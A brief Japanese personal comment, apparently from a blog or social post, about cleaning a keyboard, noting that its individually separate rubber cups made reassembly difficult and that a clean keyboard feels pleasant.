ラバーカップがキー一つ一つで独立している部分があるのが組立が難しい理由かと思った。
キーボードがきれいになると気分がいいわ。